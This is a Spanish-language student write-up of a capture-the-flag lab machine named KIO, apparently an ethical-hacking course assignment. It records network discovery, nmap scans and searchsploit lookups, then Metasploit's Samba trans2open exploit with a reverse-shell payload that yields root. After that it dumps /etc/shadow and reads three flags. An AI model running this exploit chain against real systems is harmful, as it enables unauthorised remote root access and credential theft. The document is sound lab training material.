



## TAREA - Semana 2:

### RETO: KIO



O.S.:	Linux
Dificultad:	Fácil
Puntos:	30
Fases:	Enumeración - Escaneo
Otras Fases:	Reconocimiento - Explotación

\*\*\*\*\*

Alumno:

**NMF**

Correo:

**\*\*\*\*@hotmail.com**

**-2024-**



## INDICE

### \*CONTENIDO

- 1) Introducción.....Pág. 3
- 2) Objetivo.....Pág. 3
- 3) Consigna.....Pág. 3
- 4) Resolución .....Pág. 4
- 5) Conclusiones.....Pág. 12





### 1) Introducción.



En el presente informe se abordan tres actividades relacionadas con la seguridad informática, específicamente en el contexto del Ethical Hacking. Este trabajo tiene como objetivo poner en práctica habilidades de análisis y resolución de problemas ante situaciones de ciberseguridad.

Las actividades propuestas involucran el análisis y acceso a la maquina objetivo denominada como KIO, utilizando esta vez un método de reconocimiento activo, logrando determinar las vulnerabilidades de dicho equipo para poder ingresar al mismo. Acto seguido comprobaremos mediante capturas el ingreso a dicha maquina capturando sus denominadas banderas. A través de este ejercicio, se busca fomentar una comprensión más profunda de los métodos de defensa y ataque en el mundo cibernético.

### 2) Objetivo.

- ❖ Identificar y analizar vulnerabilidades en sistemas informáticos a través de técnicas de Ethical Hacking.
- ❖ Recopilar y evaluar información para obtener acceso a la maquina objetivo.
- ❖ Capturar las 3 banderas.

### 3) Consigna.



Como entregables de este reto debes entregar.

- Un reporte con capturas de todo el proceso de resolución
- El contenido de las 3 banderas

#### Nota:

- ❖ Para este trabajo pueden utilizar cualquier formato.
- ❖ Ejemplo de cómo nombrar el archivo PDF: Tarea 2 - Juan López. pdf
- ❖ Deben colocar los siguientes datos dentro del documento PDF para poderles identificar y asignarles su calificación:
  - nombre y apellido
  - correo

**\*IMPORTANTE\***

Revisar que cuenten con espacio en su drive para poder subir la tarea y recibir su calificación.

**4) Resolución.**

Reconocemos primero el equipo a analizar e ingresar.



**O.S.:** Linux

**Dificultad:** Fácil

**Puntos:** 30

**Fases:** Enumeración - Escaneo

**Otras Fases:** Reconocimiento - Explotación

Localizamos entonces nuestra maquina objetivo junto con su IP. Utilizamos el comando "arp-scan -l" vemos las ips participantes en el sistema y observamos que nuestra maquina objetivo será aquella que tenga una dirección MAC distinta. Por lo tanto la IP de nuestra maquina objetivo es 192.168.240.128.

```
(root@kali)-[/home/kali]
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:f7:5d:39, IPv4: 192.168.240.129
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.240.1    00:50:56:c0:00:08    (Unknown)
192.168.240.2    00:50:56:eb:b1:20    (Unknown)
192.168.240.128 00:0c:29:9c:8f:f0    (Unknown)
192.168.240.254 00:50:56:e3:e6:21    (Unknown)
```

```
(root@kali)-[/home/kali]
# netdiscover
```

```
Currently scanning: 172.16.55.0/16 | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

+-----+-----+-----+-----+-----+-----+
| IP           | At MAC Address | Count | Len | MAC Vendor / Hostname |
+-----+-----+-----+-----+-----+-----+
| 192.168.240.1 | 00:50:56:c0:00:08 | 1     | 60  | VMware, Inc.          |
| 192.168.240.2 | 00:50:56:eb:b1:20 | 1     | 60  | VMware, Inc.          |
| 192.168.240.128 | 00:0c:29:9c:8f:f0 | 1     | 60  | VMware, Inc.          |
| 192.168.240.254 | 00:50:56:e3:e6:21 | 1     | 60  | VMware, Inc.          |
+-----+-----+-----+-----+-----+-----+
```



Ahora hacemos un escaneo de reconocimiento activo sobre el equipo con nmap, reconociendo su sistema operativo, los puertos y enviando paquetes SYN asi determinamos el estado de los puertos. Lo guardaremos en un .txt.

```
(root@kali)-[/home/kali]
# nmap 192.168.240.128 -p- -sS -O -oN escaner.txt
```

```
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
443/tcp   open  https
1024/tcp  open  kdm
MAC Address: 00:0C:29:9C:8F:F0 (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
```

Ahora que sabemos nuestros puertos abiertos, ya que todos lo están pasamos a un escaneo mas preciso en donde determinamos servicios, versiones y aplicamos scripts.

```
(root@kali)-[/home/kali]
# nmap -p22,80,111,139,443,1024 -sV -sC 192.168.240.128
```

```
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
|_ ssh-hostkey:
|_ 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|_ 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_ sshv1: Server supports SSHv1
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-title: Test Page for the Apache Web Server on Red Hat Linux
|_ http-methods:
|_ Potentially risky methods: TRACE
111/tcp   open  rpcbind      2 (RPC #100000)
|_ rpcinfo:
|_ program version    port/proto  service
|_ 100000 2          111/tcp    rpcbind
|_ 100000 2          111/udp    rpcbind
|_ 100024 1          1024/tcp   status
|_ 100024 1          1026/udp   status
139/tcp   open  netbios-ssn  Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https    Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_ ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
|_ Not valid before: 2009-09-26T09:32:06
|_ Not valid after: 2010-09-26T09:32:06
|_ sslv2:
|_ SSLv2 supported
|_ ciphers:
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_RC4_64_WITH_MD5
|_ SSL2_RC2_128_CBC_WITH_MD5
|_ SSL2_RC4_128_WITH_MD5
|_ SSL2_DES_64_CBC_WITH_MD5
|_ SSL2_DES_192_EDE3_CBC_WITH_MD5
|_ ssl-date: 2024-10-15T23:00:26+00:00; +1h00m14s from scanner time.
|_ http-title: 400 Bad Request
1024/tcp  open  status      1 (RPC #100024)
MAC Address: 00:0C:29:9C:8F:F0 (VMware)
```



## TAREA 2 : RETO: KIO.

Vemos entonces que tenemos en resumen los siguientes puertos, vemos que puede ser una Red Hat/Linux y su nombre KIO-KID.

PORT	STATE	SERVICE	VERSION
S			
22/tcp	open	ssh	OpenSSH 2.9p2 (protocol 1.99)
80/tcp	open	http	Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp	open	rpcbind	2 (RPC #100000)
139/tcp	open	netbios-ssn	Samba smbd (workgroup: MYGROUP)
443/tcp	open	ssl/https	Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp	open	status	1 (RPC #100024)

S  
SISTEMA OPERATIVO  
Linux 2.4.X  
PUEDE QUE ESTE EN ESTE RANGO  
Linux 2.4.9-2.4.18

```
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIO-KID, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
```

Buscamos entonces con searchsploit en el mismo Kali las versiones de nuestros servicios. Para ssh encontramos algunos exploits de enumeración de usuarios para nuestra versión.

```
(root@kali)-[/home/kali]
# searchsploit OpenSSH 2.9
```

Exploit Title	Path
OpenSSH 2.3 < 7.7 - Username Enumeration	linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)	linux/remote/45210.py
OpenSSH < 6.6 SFTP (x64) - Command Execution	linux_x86-64/remote/45000.c
OpenSSH < 6.6 SFTP - Command Execution	linux/remote/45001.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' F	linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Lo	linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)	linux/remote/45939.py

Aquí encontramos otro exploit referido a la enumeración de usuarios.

```
(root@kali)-[/home/kali]
# searchsploit Apache httpd 1.3.
```

Exploit Title	Path
Apache 1.3.x < 2.0.48 mod_userdir - Remote Users Disclosure	linux/remote/132.c

mod\_ssl es un módulo para el servidor web Apache que proporciona soporte para el protocolo SSL (Secure Sockets Layer) y su sucesor, TLS (Transport Layer Security). Su función principal es habilitar conexiones seguras HTTPS en servidores web, cifrando la información transmitida entre el servidor y los navegadores de los usuarios.

```
(root@kali)-[/home/kali]
# searchsploit mod_ssl 2.8.4
```

Exploit Title	Path
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow	unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)	unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)	unix/remote/47080.c





Un "Remote Buffer Overflow" (desbordamiento de búfer remoto) es una vulnerabilidad de seguridad que permite a un atacante enviar más datos de los que un programa puede manejar a un búfer en memoria. Cuando esto sucede, los datos adicionales pueden sobrescribir áreas adyacentes de la memoria, lo que puede llevar a comportamientos inesperados del programa, incluyendo:

- Ejecución de código malicioso: Un atacante puede inyectar código que se ejecuta en el sistema vulnerable.
- Denegación de servicio (DoS): Puede hacer que el programa se bloquee o se comporte de manera inestable.
- Acceso no autorizado: Un atacante puede obtener acceso a información sensible o a funciones del sistema.

Para el servicio de rpcbind tenemos exploits de DOS posibles, ya que no es tan específico.

```
(root@kali)-[/home/kali]
# searchsploit rpcbind
```

Exploit Title	Path
rpcbind - CALLIT procedure UDP Crash (PoC)	linux/dos/26887.rb
RPCbind / libtirpc - Denial of Service	linux/dos/41974.rb
Wietse Venema <b>RPCbind</b> Replacement 2.1 - Denial of Service	unix/dos/20376.txt

Como no tenemos la versión de Samba porque nmap no pudo dárnosla, procedemos a usar Metasploit para determinar su versión.

```
(root@kali)-[/home/kali]
# msfconsole

msf6 > search smb version
```

Aparecerán muchas opciones, elegiremos la siguiente:

```
103  auxiliary/scanner/smb/smb_version  normal  No  SMB Version Detection
```

Para eso ponemos lo siguiente:

```
msf6 > use 103
msf6 auxiliary(scanner/smb/smb_version) > 
```

Vemos que necesito colocar la IP correspondiente. Procedemos entonces.

```
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.240.128
RHOSTS => 192.168.240.128
```

Exploit. Determina la versión Samba 2.2.1a.

```
msf6 auxiliary(scanner/smb/smb_version) > exploit

[*] 192.168.240.128:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.240.128:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.240.128: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```



## TAREA 2 : RETO: KIO.

Buscamos entonces y nos aparecen varios exploits entre ellos el trans2open que nos permite realizar un Remote Buffer Overflow.

```
(root@kali) - [/home/kali]
# searchsploit samba 2.2

Exploit Title
-----
Samba 2.0.x/2.2 - Arbitrary File Creation
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit)
Samba 2.2.2 < 2.2.6 - 'nttrans' Remote Buffer Overflow (Metasploit) (1)
Samba 2.2.8 (BSD x86) - 'trans2open' Remote Overflow (Metasploit)
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation
Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overflow (Metasploit)
Samba 2.2.8 (OSX/PPC) - 'trans2open' Remote Overflow (Metasploit)
Samba 2.2.8 (Solaris SPARC) - 'trans2open' Remote Overflow (Metasploit)
Samba 2.2.8 - Brute Force Method Remote Command Execution
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (1)
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (2)
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (3)
Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (4)
Samba 2.2.x - 'nttrans' Remote Overflow (Metasploit)
Samba 2.2.x - CIFS/9000 Server A.O.L.x Packet Assembling Buffer Overflow
Samba < 2.2.8 - Remote Buffer Overflow
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution
Samba < 3.0.20 - Remote Heap Overflow
Samba < 3.6.2 (x86) - Denial of Service (PoC)
```

Por lo tanto, ya tenemos 2 vulnerabilidades con las que podemos explotar y obtener el acceso que requerimos.

1. Samba 2.2.X – Trans2open.
2. Apache 1.3.20 – mod\_ssl.

Utilizamos entonces Metaexploit de nuevo.

```
msf6 > search samba 2.2

Matching Modules
-----
#  Name
-  -
0  exploit/multi/samba/nttrans
1  exploit/freebsd/samba/trans2open
2  exploit/linux/samba/trans2open
3  exploit/osx/samba/trans2open
4  exploit/solaris/samba/trans2open
```

Vemos que tenemos las distintas versiones para cada sistema operativo, elegimos la de Linux.

```
msf6 > use 2
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) > info
```

### Basic options:

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see
RPORT	139	yes	The target port (TCP)

```
msf6 exploit(linux/samba/trans2open) > set RHOSTS 192.168.240.128
RHOSTS => 192.168.240.128
msf6 exploit(linux/samba/trans2open) > exploit
```

```
Meterpreter session 1 closed. Reason: Died
139 - Trying return address 0xbffff9fc ...
```

Pero la sesión muere por lo tanto debemos hacerlo de la siguiente manera.





## TAREA 2 : RETO: KIO.

Vemos que falla, el meterpreter muere, por lo que no se conecta. Esto se debe a que se debe hacer el payload sin etapa. Este tenía 2 etapas.

```
msf6 exploit(linux/samba/trans2open) > search payload linux/x86
```

```
13 payload/linux/x86/shell_reverse_tcp . normal No Linux Command Shell, Reverse TCP Inline
```

13 payload/linux/x86/shell\_reverse\_tcp

Lo cargamos..

```
msf6 exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) >
```

Vemos la información que necesita y lo completamos si es necesario.

```
Module options (exploit/linux/samba/trans2open):
```

Name	Current Setting	Required	Description
RHOSTS	192.168.240.128	yes	The target host(s), see
RPORT	139	yes	The target port (TCP)

```
Payload options (linux/x86/shell_reverse_tcp):
```

Name	Current Setting	Required	Description
CMD	/bin/sh	yes	The command string to ex
LHOST	192.168.240.129	yes	The listen address (an
LPORT	4444	yes	The listen port

```
msf6 exploit(linux/samba/trans2open) > exploit
```

```
[*] Started reverse TCP handler on 192.168.240.129:4444
[*] 192.168.240.128:139 - Trying return address 0xbffffdfc ...
[*] 192.168.240.128:139 - Trying return address 0xbffffcfc ...
[*] 192.168.240.128:139 - Trying return address 0xbffffbfc ...
[*] 192.168.240.128:139 - Trying return address 0xbffffafc ...
[*] 192.168.240.128:139 - Trying return address 0xbffff9fc ...
[*] 192.168.240.128:139 - Trying return address 0xbffff8fc ...
[*] 192.168.240.128:139 - Trying return address 0xbffff7fc ...
[*] 192.168.240.128:139 - Trying return address 0xbffff6fc ...
[*] Command shell session 1 opened (192.168.240.129:4444 → 192.168.240.128:1029) at 2024-10-16 10:59:10 -0400
[*] Command shell session 2 opened (192.168.240.129:4444 → 192.168.240.128:1030) at 2024-10-16 10:59:11 -0400
[*] Command shell session 3 opened (192.168.240.129:4444 → 192.168.240.128:1031) at 2024-10-16 10:59:12 -0400
[*] Command shell session 4 opened (192.168.240.129:4444 → 192.168.240.128:1032) at 2024-10-16 10:59:13 -0400
```

Vemos que tenemos la sesión iniciada y somos Root.

```
[*] Command shell session 3 opened (192.168.240.129:4444 → 192.168.240.128:1031) at 2024-10-16 10:59:12 -0400
[*] Command shell session 4 opened (192.168.240.129:4444 → 192.168.240.128:1032) at 2024-10-16 10:59:13 -0400
whoami
root
bash -i
bash: no job control in this shell
[root@kio-kid tmp]# id
id
uid=0(root) gid=0(root) groups=99(nobody)
[root@kio-kid tmp]#
```



## TAREA 2 : RETO: KIO.

```
[root@kio-kid tmp]# cd ..
cd ..
[root@kio-kid /]# cd home
cd home
[root@kio-kid home]# ls
ls
harold
john
lost+found
[root@kio-kid home]# cd harold
cd harold
[root@kio-kid harold]# ls
ls
bandera3.txt
[root@kio-kid harold]# cat bandera3.txt
cat bandera3.txt
9699a2a93f0d7eeb172dca2de51d3db2
[root@kio-kid harold]#
```

**BANDERA3: 9699a2a93f0d7eeb172dca2de51d3db2**

```
[root@kio-kid harold]# cd ..
cd ..
[root@kio-kid home]# ls
ls
harold
john
lost+found
[root@kio-kid home]# cd john
cd john
[root@kio-kid john]# ls
ls
bandera1.txt
[root@kio-kid john]#
[root@kio-kid john]# cat bandera1.txt
cat bandera1.txt
684d0624c19cac22a44a8413795368b9
[root@kio-kid john]#
```

**BANDERA1: 684d0624c19cac22a44a8413795368b9**

Podemos encontrar usuarios sino o contraseñas cifradas en las siguientes direcciones.

Para identificar usuarios: cat etc/passwd

Contraseñas cifradas en usuario Linux en: cat /etc/shadow

```
[root@kio-kid john]# cat /etc/shadow
cat /etc/shadow
root:$1$72/mKyfP$ZlsZSUf88rZQ0hg315h0P0:19047:0:99999:7:::
bin:!:14513:0:99999:7:::
daemon:!:14513:0:99999:7:::
```

Vemos de todos los usuarios que nos falta solo el del root.

```
[root@kio-kid /]# cd tmp
cd tmp
[root@kio-kid tmp]# ls
ls
[root@kio-kid tmp]# ls -la
ls -la
total 2
drwxrwxrwt  2 root    root    1024 Oct 16 09:53 .
drwxr-xr-x 19 root    root    1024 Oct 16 09:47 ..
```



## TAREA 2 : RETO: KIO.

```
[root@kio-kid tmp]# cd /root
cd /root
[root@kio-kid root]# ls
ls
anaconda-ks.cfg
bandera2.txt
```

```
[root@kio-kid root]# cat bandera2.txt
cat bandera2.txt
c9b2db2dbe3d8e65485c6c348785a760
[root@kio-kid root]#
```

BANDERA2: c9b2db2dbe3d8e65485c6c348785a760



**O.S.:** Linux

**Dificultad:** Fácil

**Puntos:** 30

**Fases:** Enumeración - Escaneo

**Otras Fases:** Reconocimiento - Explotación

Pudimos entonces capturar las 3 banderas:

BANDERA1: 684d0624c19cac22a44a8413795368b9

BANDERA2: c9b2db2dbe3d8e65485c6c348785a760

BANDERA3: 9699a2a93f0d7eeb172dca2de51d3db2



## 1) Conclusión.



En este trabajo de pentesting, hemos logrado identificar con éxito la máquina objetivo, cuyo sistema operativo se basa en Linux Red Hat, así como su dirección IP y los puertos abiertos. Este proceso nos ha permitido resaltar la crucial importancia de mantener los equipos actualizados con las versiones más recientes de sus servicios, lo que ayuda a mitigar vulnerabilidades y proteger la infraestructura de posibles ataques.

A través de Metasploit y la carga de payloads, conseguimos acceder a nuestro entorno simulado en VMware, lo que nos permitió explorar el sistema y descubrir los usuarios presentes. Además, logramos capturar las tres banderas, un indicativo claro de la eficacia de nuestras técnicas de penetración. Este ejercicio no solo reafirma la relevancia de las prácticas de seguridad cibernética, sino que también subraya la necesidad constante de formación y actualización en un campo tan dinámico como el de la ciberseguridad.

